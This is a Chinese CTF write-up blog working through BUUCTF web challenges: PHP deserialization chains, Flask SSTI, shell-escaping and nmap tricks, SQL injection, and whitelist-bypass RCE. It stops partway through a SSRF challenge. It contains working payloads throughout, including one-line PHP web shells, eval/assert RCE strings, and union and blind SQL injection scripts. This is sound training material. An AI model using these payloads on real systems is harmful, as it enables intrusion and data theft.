0%

BUUCTF刷题

前言

近期打的比赛老是被吊起来打,现在依旧时菜鸟一枚,那咋办??猛猛刷题!!!

WEB

[MRCTF2020]Ezpop

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

首先是在注释中,提示了flag在flag.php中,然后在Modifier 类中有include函数,那么最后就是就是用php伪协议读取flag.php,payload

1
php://filter/convert.base64-encode/resource=flag.php

如果要执行apppend函数我们就要触发_invoke()这个魔术方法,也就是当 把Modifier 对象当作函数来调用时才会执行这个魔术方法,接下来看Test类

1
2
3
4
5
  public function __get($key){
$function = $this->p;
return $function();
}
}

这里有return function()也就是只要$this->p=new Modifier();

写一步就是要触发_get(),当访问 Test 对象不存在的属性时就会执行这个魔术方法,这时候发现show这个类中

1
2
3
public function __toString(){
return $this->str->source;
}

这里返回了$this->str这个对象的source属性,这要$this->str=new Test();在Test类中是没有source属性的,就执行了_get()。接下来就是要触发_toString()函数

1
2
3
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";

这里有echo正好可以触发_toString(),然后$this->source是自身对象,反序列化时会执行_construct(),exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
class Modifier{
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a=new Modifier();
$b=new Test();
$b->p=$a;
$c=new Show();
$c->str=$b;
$c->source=$c;
$payload=urlencode(serialize($c));
echo $payload;
?>

image-20260304193937684

base64解码即可

image-20260304194014079

[MRCTF2020]PYWebsite

授权逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<script>

function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}

}

</script>

验证码得md5值给出来了,查询一下

image-20260304195139748

验证之后有

image-20260304200756628

这里提示ip,伪造ip

image-20260304200903442

[安洵杯 2019]easy_web

这里抓包看一下

image-20260304202506551

试了很多命令都别ban了,然后看那个img后面的参数,cybershef解码下,两次base64,一次hex

image-20260304202612976

一开始用随波逐流分析的是错的,猜测是文件读取,逆向编码

image-20260304203054301

读取一下index.php

image-20260304203117526

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>

img参数可以读取文件,但是文件名不能包含flag,所以只能进行rce,这里post得两个参数考察的是md5强碰撞,

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

image-20260304205425119

image-20260304205453798

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import flask
import os

# 初始化 Flask 应用实例
app = flask.Flask(__name__)

# 从系统环境变量中取出 FLAG 并赋值给 app.config['FLAG'],同时删除该环境变量
# pop 方法会移除环境变量中的 FLAG 键,避免通过环境变量直接读取
app.config['FLAG'] = os.environ.pop('FLAG')

# 根路由,访问 / 时执行 index 函数
@app.route('/')
def index():
# 打开当前脚本文件并读取内容,返回给客户端(源代码完全泄露)
return open(__file__).read()

# 定义 /shrine/ 路由,<path:shrine> 表示接收任意路径格式的参数(包含 /)
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
# 定义一个「看似安全」的 Jinja 过滤函数
def safe_jinja(s):
# 第一步:移除所有的括号 ( 和 )
s = s.replace('(', '').replace(')', '')
# 第二步:定义黑名单,包含 'config' 和 'self'
blacklist = ['config', 'self']
# 第三步:为黑名单中的每个关键词生成 {% set 关键词=None %} 语句(试图置空这些变量)
# 然后将这些语句拼接到用户输入的内容前面,最后返回拼接后的字符串
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

# 将用户输入的 shrine 参数经过 safe_jinja 过滤后,用 render_template_string 渲染
# render_template_string 会解析 Jinja2 模板语法,这是模板注入的核心风险点
return flask.render_template_string(safe_jinja(shrine))

# 启动 Flask 应用,开启 debug 模式(debug 模式本身也有安全风险)
if __name__ == '__main__':
app.run(debug=True)

在shrine路由下存在ssti

image-20260304205954506

但是移除了所有的()那就不能用rce了,但是上面提到把flag写入了 app.config[‘FLAG’],我们只要读取 app.config[‘FLAG’]就可以

image-20260304211034057

paylaod

1
{{url_for.__globals__.current_app.config.FLAG}}

[安洵杯 2019]easy_serialize_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

这是一道php反序列化字符串逃逸+文件读取得题目,首先分析代码,定义了一个filter()函数,作为过滤器,为后面的字符串逃逸做准备,然后就是清楚已有session,初始化session.还有关键代码extract($_POST); 用于变量覆盖,接下来是代码得关键

1
2
3
4
5
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

​ 如果没有设置img_path参数,默认的是 $_SESSION['img'] = base64_encode('guest_img.png'); ,但是如果有这个参数,这个img得值就不是base64编码了,而是其sha1值,但是在代码读取文件时

1
echo file_get_contents(base64_decode($userinfo['img']));

读取的是base64解码内容,所以我们无法直接通过img_path参数直接进行文件读取,此时需要进行字符串逃逸。下面还有提示看phpinfo得到信息

image-20260305192726186

我们要读取的文件就是 d0g3_f1ag.php,总体得思路就是通过覆盖原有的变量然后用过滤器过滤之后进行字符串逃逸。我们要覆盖的时session,先分析原本的session

1
2
3
4
5
$_SESSION = [
'user' => 'guest', // 固定值
'function' => 'show_img', // 读取文件需要使用show_image
'img' => 'Z3Vlc3RfaW1nLnBuZw==' // guest_img.png的base64编码
];

序列化之后是

1
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:8:"show_img";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

d0g3_f1ag.phpbase64编码之后是ZDBnM19mMWFnLnBocA==,我们希望的的是

1
;s:8:"function";s:8:"show_img";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

我们插入恶意的payload

1
2
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:70:";s:8:"function";s:8:"show_img";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

这个时候看到第一个;}就停止解析了,后面的;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";就逃逸出去了,接下来看前面,我们要逃逸前面的冗余结构s:8:"function";s:70:"但是解析时会算上”;最后是";s:8:"function";s:70:一共是22个字符,可以多加两个字符凑4的倍数

1
2
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:72:"aa;s:8:"function";s:8:"show_img";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

这样构造是不行的,可以看到结构是不对的,修改构造方法,开头要是”;,再添加一个a凑4的倍数

1
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:72:"a";s:8:"function";s:8:"show_img";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

这样被吞的字符串是";s:8:"function";s:72:"a长度是24,4的倍数,用6个flag就行。最后的payload

1
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:8:"show_img";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

image-20260305205836594

flag在/d0g3_fllllllag,base64编码一下L2QwZzNfZmxsbGxsbGFn,长度也是20,修改一下即可

1
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:8:"show_img";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

image-20260305210034967

这个让Gemini3pro一会就分析了,但是我自己构造还是花了很长时间,一般的反序列化题目基本上都会被ai一把梭,但还是得自己理解,不能当脚本小子,最好还是自己构造一遍。

[BSidesCF 2019]Kookie

根据提示依admin身份登入,添加Cookie:username=admin

image-20260305211310917

[网鼎杯 2020 朱雀组]Nmap

首先在源码得到提示

1
<!-- flag is in /flag -->

然后就行测试,输入127.0.0.1 ;ls会被转义

image-20260306141929894

输入1 '这时变为了

image-20260306142521580

这里其实是就是考察escapeshellarg()+escapeshellcmd()这前面题目[BUUCTF 2018]Online Tool中考察了这个知识点,不过这题题没有给源码,要自己测试,escapeshellarg(),escapeshellcmd()这两个函数都是通过转义字符避免命令执行,但是两个一起用就会出现问题简单说一下这两个函数把

1.escapeshellarg():会将字符串首位添加上单引号,字符串中得引号变为’\‘’.

1
hello'world->'hello'\''world'

2.escapeshellcmd():转义 shell 命令中的特殊元字符

1
ls | grep test->ls \| grep test

我们输入123’A

第一步处理后

1
'123'\''A'

第二步之后

1
'123'\\''A\'

由于最后一个单引号转义,这个就是一个字符,此时这个字符串就被分4个部分

1
2
3
4
1. 123
2.\\->第一个\转义了后面那个,最后别识别为\
3.''这两个单引号别没有字符为空
4.A' //这里的'是普通字符

最后输出就是123\A’

image-20260306185131143

然后就是namp得一些用法

1
2
3
4
5
6
7
nmap -iL <目标文件>`:从文件中读取IP地址列表进行扫描。-iL 读取文件内容,以文件内容作为搜索目标
-o 输出到文件

nmap -oN <输出文件> <目标IP>`:将扫描结果以普通文本格式保存到文件中

nmap <?=@eval($_POST[1]);> -oG shell.php 将一句话木马写入到文件中

这也就是这一道题的两种解法,一种是命令执行,一种是写入shell

先说第一种把,paylaod

1
127.0.0.1 ' -iL /flag -o aa

根据上面分析得可以知道,单引号后面没有引号包裹可以进命令执行,最后写入文件名为aa’

image-20260306185835153

另一种是写入shell,php别过滤了,用短标签

1
127.0.0.1 ; ' <?=eval($_POST["cmd"]);?> -oG 2.phtml 

image-20260306190619268

[NPUCTF2020]ReadlezPHP

image-20260306190859822

在这看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);


关键点很明显了,就是echo $b($a)这个格式一眼就是无参rce,先测试一下

1
O:8:"HelloPhp":2:{s:1:"a";s:4:"1111";s:1:"b";s:8:"var_dump";}

image-20260306192936959

这里在请求体中构造命令,首先先读取一下http请求体中的所有信息

image-20260306195924533

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

class HelloPhp {

public $a = "var_dump(getallheaders())"; // 要执行的命令

public $b = "assert"; // 要执行的函数

}

$exp = new HelloPhp();

echo serialize($exp)."\n";

echo urlencode(serialize($exp));

?>

这里解释一下要使用assert(var_dump(getallheads())),而不能是直接使用var_dump(getallheads()),如下图所示

image-20260306200430195

这里没有执行getallheads()而是直接打印了,这就是使用assert得原因,把参数当作php代码执行,还有这里使用eval也是不行的。

在 PHP 中,eval 并不是一个真正的“函数”(Function),而是一个语言结构(Language Construct)。其他常见的语言结构还包括 echoprintisset 等。

PHP 的语法限制: PHP 明确规定,像 $b($a) 这种被称为“可变函数”的动态调用方式,不能用来调用语言结构。——Gemini

我们只需要使用end函数读取最后一条信息,并且是我们可控的,执行phpinfo

1
2
3
4
5
6
7
8
9
<?php
class HelloPhp {
public $a = "eval(end(getallheaders()))"; // 要执行的命令
public $b = "assert"; // 要执行的函数
}
$exp = new HelloPhp();
echo serialize($exp)."\n";
echo urlencode(serialize($exp));
?>

image-20260306195413067

后来才发现

1
2
3
4
5
6
7
8
9
<?php
class HelloPhp {
public $a = "phpinfo()"; // 要执行的命令
public $b = "assert"; // 要执行的函数
}
$exp = new HelloPhp();
echo serialize($exp)."\n";
echo urlencode(serialize($exp));
?>

直接这样就行了这次真是🤡🤡🤡

[CISCN2019 华东南赛区]Web11

看题目使用的是 Smarty模板,使用{if}标签可以执行命令

image-20260306211331225

[强网杯 2019]高明的黑客

这一题就是从给的附件中寻找到可以使用shell,看了几个文件

1
2
3
4
5
6
7
8
<?php
$_GET['jVMcNhK_F'] = ' ';
system($_GET['jVMcNhK_F'] ?? ' ');
$_GET['tz2aE_IWb'] = ' ';
echo `{$_GET['tz2aE_IWb']}`;
$_GET['cXjHClMPs'] = ' ';
echo `{$_GET['cXjHClMPs']}`;

虽然可以传参,但是会被覆盖为空格,写一个脚本寻找shell参考脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import os
import re
import threading

import requests

filepath = r"D:\Applications\CTF\phpstudy_pro\WWW\src"
uri = "http://127.0.0.1/src/"
os.chdir(filepath) #改变当前操作目录的路径
files = os.listdir(filepath) #将指定路径下文件或文件夹名称的列表
syn = threading.Semaphore(100) # 设置线程数最大为100
# requests = requests.Session()
# requests.adapters.DEFAULT_RETRIES = 5
# print(files)
def getAnswer(file):
syn.acquire() # 线程锁
print("--filename:" + file)
f = open(file, "r")
content = f.read() #读取文件所有内容
f.close()
# print(content)
gets = re.findall(r"\$_GET\[\'(.*?)\'\]", content) #返回满足正则的get参数名列表
# print(gets)
res = re.compile(r"\$_POST\[\'(.*?)\'\]")
posts = res.findall(content) #返回满足正则的post参数名列表
# print(posts)
parama = {}
data = {}
url = uri + file
for m in gets:
parama[m] = "echo xxxxxx"
for n in posts:
data[n] = "echo xxxxxx"
# print(parama)

resp_p = requests.post(url=url, data=data)
resp_p.encoding = 'utf-8'
p_text = resp_p.text

# print(p_text)

resp_g = requests.get(url=url, params=parama) # 将get参数列表,一次性传递给指定url
resp_g.encoding = 'utf-8'
g_text = resp_g.text
# print(parama)
# print(g_text)
# print(list(gets))
resp_g.close()
resp_p.close()
if "xxxxxx" in p_text: # 如果为post传参
print("----post-")
for i in posts:
resp = requests.post(url=url, data={i: "echo xxxxxx;"})
if "xxxxxx" in resp.text: # 确定post参数名
print("-------文件名:" + file + "参数名:" + i)
exit(0)
resp.close()
if "xxxxxx" in g_text: #确定为get参数
# print("----get-")
for i in gets:
resp = requests.get(url=url + "?" + i + "=echo xxxxxx;")
if "xxxxxx" in resp.text: # 确定get参数名
print("-------文件名:" + file + "参数名:" + i)
exit(0)
resp.close()
syn.release() #释放线程锁


if __name__ == '__main__':
for file in files:
thread = threading.Thread(target=getAnswer, args=(file,)) #将file作为参数传给getAnswer()函数
thread.start() #启动线程

最后找到文件xk0SzyKwfzw.php,然后命令执行?Efa5BVG=cat%20/flag

[ASIS 2019]Unicorn shop

image-20260307164127240

进去发现一共是有这4种商品,购买前三种都是会回显Wrong commodity!只有购买第四种才会回显钱不够,并且之只能输入1个字符这第4个商品价格也和其他得不一样,看源码注释

1
<meta charset="utf-8"><!--Ah,really important,seriously. -->

结合题目名分析,utf-8,还有unicode编码,就是前端和后端编码差异也就是找一个字符,解析成 Unicode 字符后unicodedata.numeric()读取数值大于1337就行,使用’万‘这个汉字,url编码为%E4%B8%87

image-20260307165239927

[SWPU2019]Web1

经过测试题目存在xss,首先写入恶意广告内容,

1
<script>alert(123456)</script>

此时处于待验证状态,只要刷新网页,就会出现弹窗,

image-20260307170509270

弄了半天也思路,看wp才知道根本就不是xss,考察的是sql注入,🤡🤡🤡,

image-20260307173457279

这里广告名为1’,然后查看广告详情

image-20260307173553295

看报错得知是单引号闭合,当输入1’–+回显有敏感词汇,说明存在waf,经过测试过滤了空格,or,information_schema,order,首先判断有几列,没有order by,只能union一个一个试,这个出题人真是恶趣味啊,一下要试到22,虽然我是看wp知道的…

1
2
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

image-20260307175532807

得到回显位,接下看来看数据库

1
-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

image-20260307175753334

接下来查表,information_schema这个表不能用可以用mysql.innodb_table_stats这个表代替,

1
-1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

image-20260307180527347

接下来要使用无列名注入,这个user表位3列可以慢慢试

1
-1'/**/union/**/select/**/1,(select/**/group_concat(`1`,`2`,`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)/**/as/**/b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

image-20260307200326392

[BSidesCF 2019]Futurella

flag竟然在源码里

image-20260307200554352

[极客大挑战 2019]FinalSQL

题目提示了这一题应该考察盲注

image-20260307203545907

这里查看5得到的提示,接下来看6

image-20260307203636842

参考脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import time

# url是随时更新的,具体的以做题时候的为准
url = 'http://8d08c7b6-e6f3-4df0-b71c-a2a397891bab.node3.buuoj.cn/search.php?id='
i = 0
flag = ''
while True:
i += 1
# 从可打印字符开始
begin = 32
end = 126
tmp = (begin + end) // 2
while begin < end:
print(begin, tmp, end)
time.sleep(0.1)
# 爆数据库
# payload = "''or(ascii(substr(database(),%d,1))>%d)" % (i, tmp)
# 爆表
# payload = "''or(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.tables)where(TABLE_SCHEMA=database())),%d,1))>%d)" % (i, tmp)
# 爆字段
# payload = "''or(ascii(substr((select(GROUP_CONCAT(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='F1naI1y')),%d,1))>%d)" % (i, tmp)
# 爆flag 要跑很久
# payload = "''or(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" % (i, tmp)
# 爆flag 很快
payload = "''or(ascii(substr((select(password)from(F1naI1y)where(username='flag')),%d,1))>%d)" % (i, tmp)
# 错误示例
# payload = "''or(ascii(substr((select(GROUP_CONCAT(fl4gawsl))from(Flaaaaag)),%d,1))>%d)" % (i, tmp)

r = requests.get(url+payload)
if 'Click' in r.text:
begin = tmp + 1
tmp = (begin + end) // 2
else:
end = tmp
tmp = (begin + end) // 2

flag += chr(tmp)
print(flag)
if begin == 32:
break


[CISCN 2019 初赛]Love Math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

这里有几条限制,一是字符串长度小于80,还定义了黑名单,白名单,只能是使用白名单的函数,然后就是要构造了,看了几篇wp用了几种方法,记录一下

1.payload

1
?c=$pi=(base_convert(37907361743,10,36))(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat%20/flag

主要是使用了base_convert(),dechex(),base_convert支持范围为2-36进制,可以将十进制数字转换为十六进制。dechex()函数可以将十进制转换为十六进制

1
base_convert(37907361743,10,36))(dechex(1598506324)—> hex2bin("5f474554")——>_GET

$pi=_GET,$$PI=$_GET,这一题php版本是7.3.9,在7.4之前数组数组下标支持arr[key],att{key}.

1
2
3
$$pi{pi}` → 等价于 `$_GET{pi}` → 等价于 `$_GET['pi']
$$pi{abs}` → 等价于 `$_GET{abs}` → 等价于 `$_GET['abs']
最后执行$_GET['pi']($_GET['abs'])

这样就可以进行rce了

image-20260307213144420

第二种是利用请求头进行rce,

paylaod

1
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

这里构造的很巧妙是在构造getallheaders()使用的是30进制,如果用36进制,那这个十进制数字就超过了定义的最大整数,最后的字母到t,对应30进制就不会超过范围,这个最后执行的是exec(getallheaders(){1})

image-20260307213631108

[极客大挑战 2019]RCE ME

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

命令长度小于40,过滤了数字字母,php版本为7.0.33,可以使用异或,先看phpinfo()

1
?code=(~%8f%97%8f%96%91%99%90)();

image-20260308173448793

这里是禁用函数包含 system、exec、shell_exec、popen、proc_open、passthru 等,无法命令执行就写马

1
2
3
?code=('assert')('eval($_POST['1'])')

?code=(~%9e%8c%8c%9a%8d%8b)(~%9a%89%9e%93%d7%db%a0%af%b0%ac%ab%a4%d8%ce%d8%a2%d6);

image-20260308174526414

蚁剑连接,根目录下的flag是空的,但是还有个readflag

image-20260308174716688

这里还有加载插件在插件市场下载

image-20260308180231822

如果加载不了插件市场大概率网络问题,可搜索文章解决。然后使用改插件

image-20260308180504529

[De1CTF 2019]SSRF Me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#! /usr/bin/env python 
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)
secert_key = os.urandom(16) # 随机生成16字节的密钥,每次重启服务都会变化
class Task:
def __init__(self, action, param, sign, ip):
self.action = action # 从Cookie获取(可控)
self.param = param # 从URL参数获取(可控)
self.sign = sign # 从Cookie获取(可控)
self.sandbox = md5(ip) # 用客户端IP的MD5作为沙箱目录名(不可控,32位十六进制)
if(not os.path.exists(self.sandbox)):
os.mkdir(self.sandbox) # 创建对应IP的沙箱目录

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()): # 先验证签名
if "scan" in self.action: # 扫描操作
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param) # 执行扫描
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action: # 读取操作
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
# 生成签名接口
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

# 核心功能接口
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action")) # 从Cookie获取action
param = urllib.unquote(request.args.get("param", "")) # 从URL参数获取param
sign = urllib.unquote(request.cookies.get("sign")) # 从Cookie获取sign
ip = request.remote_addr # 获取客户端IP
if(waf(param)): # WAF过滤
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

# 展示代码接口
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1) # 设置1秒超时
try:
return urllib.urlopen(param).read()[:50] # 读取URL内容,最多50字符
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest() # 生成MD5签名

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"): # 过滤gopher和file协议
return True
else:
return False

首先分析代码有几个功能,提供 /geneSign 接口生成签名,提供 /De1ta 接口执行 scan/read 操作(远程 URL 读取、文件读取)

还有waf,禁用了gopher,还有file协议,然后看读取文件

1
2
3
4
5
@app.route("/geneSign", methods=['GET', 'POST']) 
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

urllib.urlopen() 有一个特性:如果传入的是一个本地路径(如 /etc/passwd/flag),它会默认当作本地文件读取,而不需要显式声明 file:// 协议。因此,直接传入 /flag 即可绕过 WAF。

在读文件之前还需要生成签名和验证签名,看一下他们的逻辑

1
2
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
1
md5( secret_key  +  param  +  action )
1
2
3
4
5
6
@app.route("/geneSign", methods=['GET', 'POST']) 
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

